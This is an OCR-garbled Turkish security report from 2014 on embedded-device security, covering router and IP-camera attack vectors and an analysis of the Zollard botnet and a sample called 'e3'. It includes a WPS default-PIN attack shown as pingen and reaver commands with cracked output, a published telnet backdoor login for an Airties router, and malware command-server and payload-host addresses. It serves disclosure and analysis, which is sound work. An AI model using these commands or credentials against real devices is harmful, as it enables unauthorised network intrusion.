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Ozet

Bali¢ Bilisim olarak 2014 yili igerisinde “Gomduliu Cihaz Guvenligi® bashdi altinda bazi arastirmalar
gergeklestirdik. Bu arastirmalar sayesinde ilging bulgular elde ettik. internet alt yapisinin omurgasi
sayllabilecek router cihazlari basta olmak tizere bir cok gomdli cihazin tehdit altinda oldugunu tespit ettik.

Ornek olarak 2013 yilinda tespit edilmis olmasina ragmen halen bir gok cihaz igerisinde barinan
“zollard” isimli zararli yazihminin bulunuyor olmasi, yine ayni cihazlar icerisinde kesfettigimiz ve henliz
kesfedilmemis oldugunu distndigimuz bir diger tur zararli yazilmin olmasi gémulu cihazlarin agik hedef
oldugununu acikca gdstermekteydi.

Bu sebeple yaptigimiz bu arastirmalar neticesinde elde ettigimiz tim bulgular, 6érnek gdstererek
kisi/lkurum ve kuruslarin gémali cihaz glvenligi konusunda gerekli aksiyonlari almalari adina, olasi
seneryolarin fark edilerek risklerin daha net anlasilacagini umut ederek kaynagimizi herkes ile paylasmak
istiyoruz.

Anlatima ve analize gegmeden 6nce gomulu sistemleri ve bu tur saldirilari kolaylastiran hata, saldiri
vektdrleri ve kullanilan zafiyetleri anlatmak istiyoruz.
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1. Girig
1.1. Genel Bakig

Her ne kadar farkinda olmasak da Gémulu Cihazlar gunlik yasantimizin her alanin da hayati 6neme
sahiptirler. Enerji santralleri, Endistri, mutfaktaki buzdolabindan, odamizda ki router’a kadar bir ¢ok
alanda bircok farkli cihazi kullanmaktayiz. Hemen hemen herkesin kullanmakta oldugu bu cihazlar, durum
ve konumuna gore cok kritik riskleride beraberinde getirmektedir.

Bu riskler adina drnek vermemiz gerekirse, son yillarda kullanimi oldukga yayginlagan ve uretim
amaci kullanicinin glvenligini saglamak olan “IP Kamera Sistemleri” nde sikga goézlemledigimiz
“konfigurasyon hatasi” [1] (bazi cihazlarda ise zafiyet kullanilarak — 0-day veya 1-day [2],[3] —) kullanicilar
icin tam bir silaha doénismektedir. Yapilan konfigirasyon hatasi sistemlere uzaktan erisim yetkisi
vermektedir. Bu yetkiyi alan saldirganlar istedikleri zaman kaydedilen goéruntileri dahi rahatlkla
silebilmektedirler. Kullanmakta oldugumuz bu ve bu tip onlarca cihaz ile alakal en tzict durum ise,
kullanicilarin bu cihazlari, cihazlar sorun ¢ikartmadigi stirece varligini dahi hatirlamamasidir.

Bir ¢ok cihaz ureticisi firma, Urettikleri bu cihazlarin iyilestiriimesi yoniunde “guncelleme paketleri”
yayimlamaktadir. Fakat Uretici bir firma ile yaptigimiz gérisme sonrasinda her 10 kullanicidan sadece
4’Undn bu glncelleme paketlerini indirdigi gercegi ile karsilastik, bu o6rnekten anlasilacagl Uzere
kullanicilarin ihmalleri buyik riskleride beraberinde getiriyor.

Yaptigimiz arastirmalar neticesinde elde ettigimiz stipheli bir dosyanin analizi sonrasinda, 2013
yilinda tespit edilmis olan bir zararl (Zollard) oldugu anlasilmistir. Zollard zararlisi Mips, Mipsel, Cisco
ve ARM gibi islemci mimarilerinde 6zel olarak Uretilmis, bircok farkl yapida ¢alisabilme kabiliyetine
sahip bir zararli yazilimdir. Zollard zararlisina Masaiistii bilgisayarlar, Sunucular, Modem ve ip
kameralari hedef aldigi gorilmustr.

Yine ayni arastirma neticesinde elde ettigimiz bir diger zararli yazilimin, ingiltere Merkezli bir
Datacenter’a yonlendirerek cihazlari yakin takibe aldigi tespit edilmistir. Arastirmamizi biraz daha
derinlestirdikce, “e3” isimli zararlinin henlz anti virls firmalari tarafindan tespit edilmemis oldugunu
anladik. Buna ragmen default passport’lu modemlerde oldukga sik rastladigimizi sdyleyebiliriz.
Yaptigimiz bir diger arastirma sonucu ise her 10 modemden 7’sinde bu zararli yazilima rastlamak
mumkindur. ( default password ‘lu modemlerin %70)
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2. Saldir Vektorleri
2.1. Hatali Konfigluirasyonlar

2.1.1. Varsayilan Sifreler

Gomulu sistemler satinalma sonrasinda kullanicinin giris yapip kendi ayarlarini yapmasini
saglayacak, genelde c¢ok basit ve bilinen, varsayilan sifreler ile gdénderilir. Son kullanici, cihazi
kullanmaya baslar baglamaz varsayilan sifreyi degistirmesi gerektigi yonunde uyarilar almasina ragmen
Ozellikle tehditlerden bihaber, teknik bilgi seviyesi disik olan kullanicilar cihazi mevcut sifreyle
kullanmaya devam eder.

Belli bagl yéntemler kullanilarak, 6zel arama motorlari gibi, internete baglantisi bulunan bitin
cihazlar bulunabilmektedir. 10 satirlik ¢alistir-birak tarzinda hazirlanmis bir python kodu ile birka¢ saat
icinde varsayilan sifre kullanan binlerce cihaz bulabilir.

EXPOSE ONLINE DEVICES.

WEBCAMS. ROUTERS.
POWER PLANTS. IPHONES. WIND TURBINES.
REFRIGERATORS. VOIP PHONES.

D-Link Internet Camera - D-Link Internet Camera DCS-5300 s without authentication. [g00gle 5c0u7]
. DEVELOPER API ¥4, LEARN MORE FoLLow MEe
% , WS
=

2.1.2. Yama Eksikligi

Guvenlik zafiyetleri farkedilir farkedilmez Uretici firmalar yeni sirimler yayinlamaktadir. Fakat
kullanici, cihaz surimunu yikseltmedigi takdirde, zafiyet genele yayilmis oldugundan, saldirganlar igin
ideal hedeflerden biri olmaktadir.

2.2. WEP Algoritma Zafiyeti

Yillar evvel glvenlik zafiyetine sebep oldugu belirlenmis olan WEP algoritmasi, 6zellikle
uyumlu cihazlara yatirrm yapmis kuguk O&lgekli firmalar tarafindan kullaniimaya devam
edilmektedir. Parolanizin kirilmasi i¢cin sadece birka¢ dakikanin yeterli oldugu biliniyor olsa
da “bize bir sey olmaz” mantalitesiyle kullanan kisi/kurumlar saldirganlar agisindan en basit
hedefler olarak gorilmektedir.
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2.3. WPA/WPAZ2 Brute-Force Saldirisi

WEP algoritmasindaki zafiyetler neticesinde kabulgérur hale gelen WPA/WPAZ2 protokolu kullanildigi
PBKDF2 algoritmasinin zorlugu neticesinde saldriganlari yavaslatmis olsa da, sifre kirmada kullanilan
gucla ekran kartlari yardimiyla, saldirganlarin hedefi olmaktan gikmamigtir.

/GPUcracking/binaries/maskprocessor-0.69

[ XeX) dudu@woOrm: /mediaj

2.4. WPS Brute-Force Saldirisi

2011 senesinde Stefan Viehbdck tarafindan bulunan WPS kabakuvvet saldirisi sayesinde
saldirganlar WPA/WPAZ2 protokollne sahip cihazlar 4 — 10 saat icerisinde ele gecirebilmektedir. Test
amacli hazirlanan programlara kolay erigim, saldirganlarin hem teknik seviyesini hem de yasini agsagilari
cekmistir.

abt: ~/reaver-1.3/src - Shell -
rks Settings Help

Trying pin 60851635
Trying pin 87911633
Trying pin 81701636
Trying pin 56151633
1.37% complete @ 2012-01-17 05:24:28 (4 seconds/attempt)
Trying pin 86481632
Trying pin 86481632
Trying pin 38561634
Trying pin 07381638
Trying pin 07381638
1.40% complete @ 2012-01-17 05:24:42 (4 seconds/attempt)
Trying pin 83581632
Trying pin 52581632
Trying pin 01821635
Trying pin 25761634
Trying pin 14161636
1.45% complete @ 2012-01-17 05:25: (4 seconds/attempt)
Trying pin 51951634
Trying pin 95331638

@ Shell

2.5. WPS Algoritma Saldirisi

WPS kabakuvvet saldirisinin yayginlagsmasi neticesinde birgok uretici deneme sayisina
sinirlandirma getirdi. Kedi fare oyunun bitmek bilmedigi givenlik dinyasinda, saldirganlar hedef
cihazlarin WPS Uretme algoritmasini ¢ozerek, tek denemede sistemi ele gecirmeyi basardilar.

$ sudo airodump-ng men® -c 4

CH 4 ][ Elapsed: @ s ][ 2014-09-11 11:44 ][ fixed channel mon@: -1

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
CO:AQ:BB:EF:B3:D6 -13 @ 6 2] @ 4 54e WPA2 CCMP  PSK dlink-B3D6

$ ./pingen C@:AQ:BB:EF:B3:D7 # <--- WAN MAC is BSSID+1
Default Pin: 99767389

$ sudo reaver -i mon@ -b C@:A@:BB:EF:B3:D6 -c 4 -p 99767389

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Waiting for beacon from C@:A@:BB:EF:B3:D6

[+] Associated with C@:A®:BB:EF:B3:D6 (ESSID: dlink-B3D6)
[+] WPS PIN: '99767389'

[+] WPA PSK: 'hluig79268"

[+] AP SSID: 'dlink-B3D6"
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2.6. Zafiyetler (Vuln)

0-Day olarak adlandirilan 0-gtin zafiyetler uretici firmalarin haberdar olmadigi ve herhangi bir
yamanin bulunmadigi zafiyetler olarak tanimlanmaktadir. Kullanicilari bu tiir zafiyetler kullanarak
yapilan ataklardan koruyabilmek pek mumkdn degildir.

2.6.1. D-Link DSP 215 - Vuln

En tehlikeli zafiyetlerden biri olan bellek tasmalari neticesinde, kimlik dogrulamasinin yapildigi binary
dosyalarda bulundugunda, ne kadar 6nlem alinmis olunursa olunsun, cihazin kontroli tamamen
saldirgana ge¢mektedir. Hazirlanmasi en zahmetli fakat sonu¢ olarak etkisi gucli bu zafiyete
verebilecegimiz drneklerden birisi D-Link markasinin akilli priz cihazi olan DSP-215 modelindeki bulunan
zafiyettir. [*2]

Let The Smart Plug Worry
About The Unexpected

= % N
Did you leave the electric blanket plugged in?
) \ How about the iron? Hey, don't stress. The
\a, Smart Plug has a built-in thermal sensor that
¥ will shut off your devices if the plug overheats.
2 i\
R —

2.6.2. Airties Air6372S0O — Backdoors veya Features

Cogunlukla inkar ediliyor olsa da Uretici firmalar, kitapciklarinda yazanin digsinda kendilerine 6zel
olarak cihazlarda erisim sifreleri bulunduruyorlar. uzaktan yonetilebilmesi i¢in kimine goére backdoor
kimine gore 6zellik olan bu erisim gifreleri birilerinin eline gectigi noktada, Hem mahremiyet ihlali s6z
konusuyken hem de ifgsasi durumunda cihazin art niyetli kigiler tarafindan yonetilmesine olanak taniyor.
bu duruma 6rnek olarak, birkag gin evvel bulunan Airties Air6372SO modelinin arkakapisi 6rnek
verilebilir.

3 Hacker Fantastic

Turkish friends, if you have a Airties DSL
router - you can telnet to port 2323 and
login with “root” / “dsl_2012_Air" ;-) Hack
the planet.

93 29

2.6.3. ZyXEL ZyWall — Vuln

Gomula cihazlari topyekin guvensiz olarak nitelendirmek ¢ok yanhs olacaktir. Fakat glivenlik
sagladigi dustnulen eklentiler bazen tam tersi bir durumda karsimiza ¢ikmaktadir. Buna verebilecek en
iyi drneklerden birisi, Zyxel markasina ait ZyWall model guvenlik duvarlarinda, kimlik dogrulamasi
oncesinde cihazin ayarlar dosyasinin indiriimesini saglayan zafiyettir. [*1]

ZyXEL |

ZyWALL USG 300 Enter User Name/Password and dlick to login.

cccccc
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3. Saldin Seneryolari

GOmulu cihazlar tzerinden

onlarca saldiri seneryosu Uretmek mumkuandir. Kisilere ydnelik olarak

gerceklestirilen atak seneryolarina gore ¢ok daha etkili ve ylksek etkili tahribata sebep olabilirler. Bu
tahribatlarin boyutlariysa, hedef alinan cihazin durum ve konumu ile esit orantida blylumektedir. Bu
alanda verilebilinecek en iyi 6rnekse “stuxnet” [4] adli zararl yazilim olabilir.

/ﬁ’ . I

QD

Attacker
$ Lyccess ari )

\3
Fig. 1.

Direkt Router tzerinden
Bagh diger cihazlara yonelik saldiri.

'Y 2 Attacker

\‘

=@

ﬁpl ‘ucsmm@
&

,“A I s S ATTAGKD. \‘V Attacker

éﬁg
\"

Fig. 2.
Ip Kamera Uizerinden
diger wifi cihazlara saldiri.

\3
Fig. 3.

Ip Kamera veya Router lizerinden pc’ye
oradanda mobil cihaz’a yonelik saldiri.

Router saldirilarinda hedef alinan router diginda ilgili router’a usb veya ethernet Uzerinden bagli local
cihazlar veya wifi kapsama alanindaki cihazlar kolayca hedef olabilmektedir. Ornek olarak x firmanin
1.0.2.0 firmware strimune sahip bir cihaz igerisinden kapsama alanindaki diger aygitlara(wifi kullanan
cihazlar) attak yapilabilmektedir.

[c1.] Telnet 95.6.14.198

root
root
root
root
root
root
root
root
root
root
root
iwlist
iwlist wlB scan

sbinsagent
shinsagent
sbinsagent
susrrsbinsagent
/oh1n/telnetd
/ﬂhln/telnetd
sbinslogin
sleep 1

su

[l R R R e D

ps
susrsbinsdnsmasg ——address=smodem-1%2 _168_.2_.1 -h -

Scan completed

Cell A1 -

Cell

Cell

a2z -
E

a3 -
E

Address: 28:88:ED:01:AC:A4
ESSID: "SUPERONLINE_WiFi_8267"
Hode :Managed
Frequency:2.457 GHz (Channel 18>
Extra:Chanspec(hbu=28mhz,. ext=0>
Slgnal level:-2.5 dBm Moisze level:-24 dBm
IEEE 882.11i/UPA2 Uersion 1
Group Cipher : TKIP
Pairwise Ciphers (2> : TKIF CCHP
Authentication Suites (1> : PSK
: WPS<{enabled=1. button=8>
: WPA Version 1
Group Cipher : TKI
Pairwise Ciphers (2) : TKIF GCHP
Authentication Suites (1> : PSK
Encryption key:on
Bit Rates:1 Mhs=; 2 Mbrs; 5.5 Mbss; 11 Mhrs; 7 Mhos

Mode: Hanaged
Frequency:2 _462 GHz {(Channel 11>
Extra:-Chanspec(by=20nhz,. ext=8>

Signal level=—20 dBm MNoisze level=—24 dBm
IE: IEEE 882_11i/UPA2 Uersion 1
Group Cipher : TKIP
Pairwise Ciphers (2> : CCMF TKIP
Authentication Suites (1> : PSK
: WPA Version 1
Group Cipher : TKI
Paivrwise Ciphers (2) : CCHP TEKIP
Authentication Suites (1> : PSK
Encryption key:on
Bit Rates:1 Mhrss; 2 Mbrss; 5.5 Mhss; 11 Mhrss; 18 Mhess
24 H s

A
Hode :Managed
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4. Analiz
4.1. Hikayesi

Yaptigimiz genel bir inceleme sirasinda ingiltere Merkezli DNS adresleri dikkatimizi ¢ekti. Modem
icerisinde ratladigimiz bu DNS adreslerinin kullanici tarafindan ayarlanmadigi anlagiimisti.Peki nerden
gelmisti bu DNS serverlar? Bu DNS serverdan siphelenmemiz ile baglayan serlivenimiz, modem icerisinde
“arm” ve “e3” isimli iki garip dosyanin varligini kesfetmemiz ile dahada ilging bir hal almis oldu.

Ne oldugunu ve nereden geldigini tam olarak anlayamadigimiz bu iki dosya ile artan merakimiz, bizi
bir cok farkh islemci tirtinde ¢alisabilme kabiliyetine sahip bir botnet agina sirtklemis oldu. ilk etapta
default passwordlu cihazlari hedef aldigini sandigimiz bu sipheli dosyalar, arastirma derinlestikce aslinda
bir birlerinden bagimsiz olduklarini anladik. Sadece Default Password’lu cihazlari hedef almadigini,
birbirlerinden bagimsiz iki farkli tur zararli yazilm oldugu ortaya ¢ikmis oldu.

Arastirmalarimiz sirerken elde edindigimiz bilgiler neticesinde “arm” isimli dosyanin PHP zafiyetini
somurdugunu fark ettik. Bir diger stipheli dosyamiz “e3™’Un ise heniz anti virts firmalar tarafindan
taninmiyor oldugunu anladik. Son asamaya gelindiginde “arm” isimli bu dosyanin 2013 yilinda kesfedilen
“zollard” isimli zararh yazilim oldugu anlagildi, “e3” isimli dosyanin ise default passworlu modemleri hedef
alan yeni bir tur zararh yazilim oldugunu anladik. Bu bulgular isiginda arastirmamizi dahada derinlestirmek
Uzere statik ve dinamik analizlere bagladik.

4.2. E3 Zararlhsi, Iptables Kurallari

Elde ettigimiz cihazda ilk dikkatimizi ceken sey ingiltere Merkezli DNS adresleri olmustu. Bu kapsamda
basladigimiz arastirmalar ile elde ettigimiz E3 zararlisinin bulastigi cihazlarda uzak erisim igin kendisine izni iptables
kurallari ekledigini gordiik. Cihazin yonetim paneline telnet ve httpd lizerinden erisim izni verdigi asagidaki ciktida
acikca goziikmektedir. Iptables kurallarinin bazi cihazlarda uzak erisim disinda NAT icinde bazi yénlendirmeler
yaptigida gortlmustr.

Chain dmz—filter <1 references?
target prot opt source destination

Chain forward-logger <1 references)
target prot opt source destination

Chain igmp_filter (2 references?
target prot opt source destination

Chain input—logger (1 references)
target prot opt source destination

Chain macfilter—filter (2 references)
target prot opt sSource destination

Chain portforwarding—filter <1 referencesd
target prot opt source destination

Chain remote—mgmt—input <1 references>
target prot opt source destination
ACCEPT icmp — h37-220-8-141 .host.redstation.co.uk anywvhere icmp echo—regquest

ACCEPT icmp — h37-220-8-141 .host.redstation.co.uk anywhere icmp echo—regquest

ACCEFPT tcp —— h37-228-8-141 _host.redstation.co.uk anywvhere tcp dpt-telnet
tcp — h37-220-8-141 _host.redstation.co.uk anyuhere tcp dpt:itelnet
tcp — h37-220-8-141 .host.redstation.co.uk anywhere tcp dpt:httpd
tcp — h37?-2280-8-141 . host.redstation.co.uk anywvhere tcp dpt:-httpd

Chain tcpmss—clamp (1 references)
prot opt source destination
tcp —-— anyvhere anyuhere topflags: SYH,.RSET-SYH TCPMES clamp to PMTU

Chain trB6?-filter (1 veferences)
prot opt source destination
tcp —-— anyvhere anyuhere tecp dpt-1858

Chain urlfilter—forwvard <1 references?
target prot opt source destination

Chain urlfilter—forvard-filter (@ veferences)
target prot opt source destination

Chain wireless—passuword-ctrl <1 references?
rot opt source deztination
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4.3. E3 Zararlisi, DNS ayarlari

Zararhnin bulastigl tim cihazlarda yine ingiltere merkezli dns serverlara rastladik, bunu yapmasindaki
amacinin binary icerisinde acik bir nedeni bulunmamaktadir. Fakat en mantikli seneryomuz ip adreslerinin bircok ISP
tarafindan dynamic olarak atanmasi ve modemlerin kapandiktan sonra yeni ip adresleri aliyor olmasindan dolayi
bulastigi cihazlarin ip adreslerinin takibinde zorlasacagi yoniinde. Bu sebeple merkezi bir haber alma agi kurarak bu
cihazlarin dns server lzerinden ipleri degissede tekrardan dns igin kendisine sorgu yapacagini ihtimali ile bulastig
cihazlari bu yontem ile kolayca takip etmek icin boyle birsey yapmis olabilecegini tahmin ediyoruz.Belkide sadece
kullanicilari takip etmek icinde olabilir, bundan hentiz icin emin degiliz. Fakat zararlinin bulastigi tiim cihazlarda bu IP
adreslerine ve Iptables kurallarina rastlamis ayni sekilde rastlamis bulunmaktayiz. Ortalama 3 Ip block ‘un kendilerine
ait oldugunu kesin olarak biliyoruz.

DNS Ayar

Bu sayfadan cihazinzin DRSS avarlanm yapahbilirsiniz. Servis sadlayvicidan gelen DRSS 1P adreslerin
kullanahilecediniz gibi, sunucu adreslerini kendiniz de belirleyebilirsiniz.

ISP tarafindan atanan DNS sunucularim kKullan

CirS 1 31.3.252.858
OS2 31.3.252.81
DrS 3: 31.3.262.77

4.4. Zollard Zararhsi, Arm Dosyasi

Elde ettigimiz supheli dosya icin ilk olarak strings komutunu ¢alistirdik. Elde ettigimiz ekran ¢iktisi
merakimizi daha da fazla cezbetti.Aldigimiz ¢iktidan kolayca anlasildigi Gzere, ilgili dosyanin GET yontemi
ile bazi IP adresi arasinda iletisim sagladigi gorilmekteydi. 2 adet .sh script’i cihaz igerisine indirmesi
istahimizi dahada fazla kabartti ve tim ilgimizi oradaki IP adreslerine yogunlastirdi.

arm binarysinin string komutu ile elde edilen ¢iktisi.
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IP adresleri Uzerinde yaptigimiz diger incelemelerde, Bu IP adresleri izerine kurulmus ve yayin
yapan web serverlar oldugunu gordik. Server tarafini incelemeye aldigimizda server'da “.niggers” klasoru
altinda barindirilan ¢cok sayida dosyayi kesfettik.

69.163.37.115,

Index of /.niggers

[1CO] Name Last modified Size Description

[DIR] Parent Directory -
[1 am 23-Aug-2014 02:52 65K

[1 arm7 23-Aug-2014 02:52 515K
[TXT] bin.sh 21-Aug-2014 22:49 2.0K
[TXT] bin2.sh 21-Aug-2014 22:49 2.0K
[1 1586 23-Aug-2014 02:52 56K
[1 1686 23-Aug-2014 02:52 56K
[1 mips 23-Aug-2014 02:52 93K
[1 mipsel 23-Aug-2014 02:52 93K
[1 ppc 23-Aug-2014 02:52 66K
[1  sparc 23-Aug-2014 02:52 72K
[1 superh 21-Aug-2014 21:58 45K

Apache/2.2.22 (Debian) Server at 69.163.37.115 Port 80

Elde ettigimiz 2 adet “.sh” script ve farkli islemci mimarileri icin 6zel olarak isimlendiriimis dosyalar
goérdiik. Ik asamada cihaz igerisinde elde ettigimiz “arm” binarysinin yiiklemis oldugu bin.sh scriptine
ulasmistik. Yani simdi “arm” dosyasinin bu script ile neler yaptigini anlayabilmek i¢in firsatimiz olmustu. Bu
sebeple ilk olarak “bin.sh” dosyasini analize bagsladik.

4.5. Zollard Zararhsi, bin.sh Script
Elde ettigimiz script icerisinde g6z gezdirdigimizde kendisini gizlemek igin basit ama etkili bir teknik
kullandigini gérduk.

rm DUSYDOX; .

Kisaca deginecek olursak telnetx pid i ile ¢alisan bir uygulama varsa onu 6élduriyor. Busybox ile
“arm” dosyasinda rastladigimiz IP adresi lUzerinden dosyalari indiriyor (6rnek : “mips”) ve daha sonra
busyboxin bir kopyasini kendi dizinine aliyor ve indirdigi binary’nin Uzerine yaziyor ve asil binary’yi siliyor
daha sonra kopyalanmigs busyboxi ayni sekilde telnetx adi ile kopyaliyor. Sonra busyboxi silerek, telnetxi
calistiryor ve binary'yi siliyor.

Biraz karmasik gelmis olabilir ama basit fakat karmasik sekilde kendini cihaz igerisinde
perdeliyor.Bize oldukga akillica gelen bu teknik ile calismasi gereken kodlari ram'e ylkledikten sonra
diskteki veriyi siliyor ayni seyi mips,mipsel,arm gibi mimarileriler icinde tekrar ediyor. Hedef alinan
sistemlerdeki islemci(CPU) mimarisinin ne olacagini bilemedikleri i¢in tim iglemci turlerini toplu olarak
yuklayor. Hangi binaryi ¢alisirsa islemci o mimaridedir tarzinda hazirlanmis bir script oldugu sagma
gelsede ard arda gelen komut yigininda dikkatimizi geken bagka bir nokta daha var. Kisa bir komut ile
yapabilecegi seyi neden bu kadar uzattigi anlamsiz olsada dosyanin adini degistirerek akillica bir hamle
yaptigini dusunuyoruz. Cunkl kod’u ram'e yuklenirken bazi bilgilerinide sistem kayitlarina vermek zorunda
bu yuzden sistemde halihazirda bulunan bir komutun adini almak mantikli ama birbirini tekrar eden
kopyalama ve silme olayina tam bir agiklama getiremedik.
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killall t
kill -9 $§
kill F
kill -9 $(pi
kill -9 §
kill -

kill -

kill -9
kill -9
kill -9

kill -

bin.sh

ik basta asil sunucudan download edilen binary ile bunun kopyalarinin karsilastiriimasini
engellemek adina md5sum degerini degistirmek istedigini distinduysekte scriptte gerceklesen higbir sey
asll binarydeki md5 checksum 1 dedistirmeyeceginden tatmin edici bir cevap bulamadik.

Sunucudan aldigimiz binaryleri inceledigimizde hemen hemen hepsi ayni stringleri barindiriyordu
zaten ayni isi yapan farkl sistemler icin derlenmis kodlar oldugu agikca anlasiimisti, bizde hemen icinden
birini secerek daha derinlemesine incelemeye koyulduk.

Aklimiza ilk gelen sey, uygulamayi trace etmek oldu neyse ki herhangi bir anti-debug teknigiyle
karsilasmadik ve tracer ¢iktisini yorumlamaya galistik. ilk olarak 8.8.8.8 ip sine baglanti yapmak icin bir syn
flag gonderip syn ack paketinin dénmesini bekliyor eder paket gelirse “internete ¢ikisim var” seklinde
yorumlayip herhangi bir RST paketi géndermeden yada close(fd) ¢alistirmadan devam ediyor ve
“/proc/net/route” u acip batin network bilgilerimizi aliyor (interface, mac, ip, acik portlar) devaminda
/proc/<pid>/cmdline seklinde bitln pidleri okumaya calisiyor belli ki aradigi bir seyler var. Okunmasi ve
kapanmasi bir oluyor biz de bu durumun sonlanmasini gérmek icin tracer logumuzdan devam ediyoruz ve
2800. satirda bi kag degisiklik oldugunu goruyoruz:
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Program kendi pidini okudugu zaman getdents sistem cagrisini ¢alistirip dizin listesi aliyor ve
setsid() [2813.satir] fonksiyonunu galistirip 2054 pidi ile yeni bir session olugturuyor tracer imizda bu pidi
takibe almaya basliyor. Yaptigi islemler sirasiyla bakacak olursak /var/run dizininin altina “.lolpid” isminde
gizli bir dosyay actigini gériyoruz standartlarda bdyle bir dosya bulunmaz biz daha dnceden sistemimizde
bu kodu galistirdiimiz icin .lolpid zaten olusmustu simdiyse erisim denemesi yapiyor .lolpid in icinde

read(3, "2041", 4096) =4
read(3, ", 4096) =0

Ciktis1 sayesinde 2041 yazili oldugunu goruyoruz hemen peginden dosyayi kapatip kill galistiriimasi
bu degerin process id oldugunu gosteriyor ardindan bu isimde bir dizin ya da buna bagl bir link olmasi
ihtimaline kargi rmdir ve unlink i gagirip baglantilarini yok ediyor ve getpid() le aldigi yeni pid degerini yani
kendi pidini bu dosyaya yaziyor.

Takip eden satirda bir socket actigini gértiyoruz ve agilan socket 93.174.93.52 ip adresinin 1000.
portuna baglanti istegi génderiyor:

NOT:
connect fonksiyonunun -1 le ddnmesi internete ¢ikisi olmayan
sanallastirilmis cross platformda ¢alismamizdan kaynaklanmaktadir.

Bu IP adresinde port taramasi yaptigimizda ise portlarin filtreli oldugunu goérdik bizde Tespit
ettigimiz 1000. Port tzerinden baglanti kurup neler oldugunu gérmek istedik. Gergeklesen baglanti sonrasi
ne yazarsak yazalim “SCANNER” ve “OK” mesajlarini aliyorduk. Béylece bu adresin C&C server oldugu
kararini verdik.

Mantiken eger basarih bir sekilde sunucuya baglanti kurabilirse ulastim raporunu veriyordu ¢inki
baglanti sonrasinda 58455 portunu agarak buradan emir almaya basliyor. Haberlesme mekanizmasinda
Ozel bir istek kullandigini disunuyoruz ve gelen emre gore dos saldirilari, taramalar yapabiliyor. Ayrica
ilging olarak dikkatimizi ¢ceken bir bagka durum ise iginde bitcoin (altcoin) miner bulundurmasidir. Etkisi her
ne kadar diuglkte olsada yine de disunullp igine yerlestiriimis durumda.

Balig Bilisim - 2014 | 4. Analiz



Zararly! buldugumuz sistemde “/var/run” dizinine gidip “Is —a” komutunu ¢alistirdigimizda .lolpid
dosyasl diginda “.zollard” isimli bir dizine denk geliyoruz i¢inde binarylere ek olarak 2 tane de encrypt
edilmis dosyaya denk geldik. Kodlar digerleri gibi striplenmis ve header bilgileri degistiriimis ama i¢erisinde
ki stringler iyi gizlenememis bu dizinde binaryler arasinda x86 icinde hazirlanmis bi binary e denk geldik
icindeki stringlere baktigimizda:

Kernel modull yukledigini, bagka bir kisimda ise alternatif coin basmak igin hazirlanmig “minerd”
programini indirip madenci havuzuna baglanti kurdugunu gériyoruz:

simdiye kadar sistemin calisma mekanizmasiyla ilgili kolayca analiz yapabilmemizin verdigi
cesaretle direk dinamik analize geciyoruz. “strace -f -o trace.log ./x86” dedigimizde program ¢ikmadan bu
dizinde ne var ne yok siliyor ve log dosyamizi kaybediyoruz. Calisan pidleri kontrol ettigimizde ismi
gorinmeyen iki pide denk geldik ayni pid numaralarini;

bi yerlere baglanti istedi kurmaya galigirken gértyoruz (177.201.16... ip blogu). Bu zararlinin
bulastigi sistemi karsilamak icin konfigure edilmis durumda program her calistiginda bu bloktan birileriyle
haber kurmak igin gabaliyor. Analiz kismina donecek olursak bu pid yi 6ldurdigimuz zaman bagarili bir
sekilde process sonlaniyor ama baska bir pid ile yeni bir isimsiz program agiliyor ve sistemi kitliyor
beklenmedik bigimde program bizi alt etmeyi basardi bu gemuyu yeniden c¢alistirmamiz gerektigi anlamina
geliyor.
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Sistemi yeniden baglattiimizda zararlinin log dosyasini bu sefer alt dizine alacak sekilde ¢alistirdik.

IGN, [CHLD], R NODEFE
IGN, [PIPI R MODEFE
S_IGN, [T NODE

E
E
E
E
E
E
E
E
E
E
E
E
E
E
E
E

BLOC MULL .

botnet ollards i

log dosyamizda hosumuza gitmeyecek bir ¢ikti bizi karsiliyor goruldugu uzere bir elin parmaklarini
gecmeyecek kadar fonksiyon cagrisi var [ close(),prctl(),fork(),exit()]. Ustelik binary diizgiin bir sekilde
calisti hatta madenci programi da ¢alisti ve “cpu”yu sémirmeye bagladi bile.
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Halbuki IDA ile binary’i inceledigimizde bir ¢ok yerde “execve” sistem ¢agrisinin kullanildigini
goéruyoruz.

alnsnodLibHodu

Log dosyamizda elde ettigimiz ve hogsumuza gitmeyen c¢iktinin bu sekilde gelmesine prctl()
fonksiyonunda “PR_SET_NAME” sayesinde yeni bir thread ¢agiriyor stiphesi uyandi. Bunu parent process
ten kopariyorsa eger bu ylzden ¢iktiyr alamiyor olabilir dedik. Yani karsimizda ileri diizey bi anti debug
teknigi vardi. Agik¢a biz boyle bir teknik varmi onuda bilmeden bodyle olabilir dedik ¢iinkii daha dnce hig
karsilasmamistik. Bunu atlatabilmenin ydntemini aradik ve bir ¢ok sey denedik ama higbirinde basarili
olamadik.

Aklimiza kitiphane fonksiyonlarini hooklamak ve programi ¢agirmadan énce ylklemek geldi ama

kodun statik derlendigini hatirlayinca bundan vazgectik.
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4.6. Zollard Zararhsi, Fork Hook

Normal yollardan atlatamayacagimizi anlayinca bizde teorik olarak bir ka¢ ¢6zim 0Onerisi getirdik kilit
sistem cagrilarina (fork,prctl) hook atarak sistemin akisini degistirmek bize ¢6ziim sunabilirmiydi? Sunsa
bile bu is oldukga riskli duruyordu ¢linkii binaryi her ¢alistirdigimizda sistemi yeniden baslatmak zorunda
kalacaktik, Uzerinde iyice distnUp dogru hamleyi bulmaya calistik. Fork’'un her seferinde Child olarak
doénmesini saglayabilirsek, Parent’in kendini 6ldirdigu noktaya hi¢c ulasamayacagini ve programin devam
edecegi konusunda bir karara vardik ve bu teknik icin modulu yazmaya bagladik.

Moduilin yapisini kisaca agiklayacak olursak Linux 2.6 kernellardan bu yana var olan page
protection korumasini atlatip syscall tablosunda forkun adresini bulup bizim yazdigimiz fork fonksiyonuyla
onu yer degistirecektik, yani asil isi goren fork fonksiyonumuz artik:

asmlinkage long yeni_fork(void){return 0;}

bu sekilde g¢alisacakti ve her seferinde 0 degerini donderecekti, modull yikleyip denememizi
yaptigimizda:

. D_RIWR}

Basarili bir sekilde forkun devamini gérmeyi bagarmistik. Forkun devaminda gérdigumauz sey gift
yonlu boru (pipe) haberlesmeleri kullaniimisti. Buradan anladigimiz ise bu kodun iyi bir sistem
programcisinin elinden ¢iktigiydi. Forkun her seferinde Ola donmesi ileriki asamada basimiza dert oluyor
olsada ilk asamayi agsmayi basarmistik. Simdi ¢ézememiz gereken sorun borularin kiriimasiydi.pipe
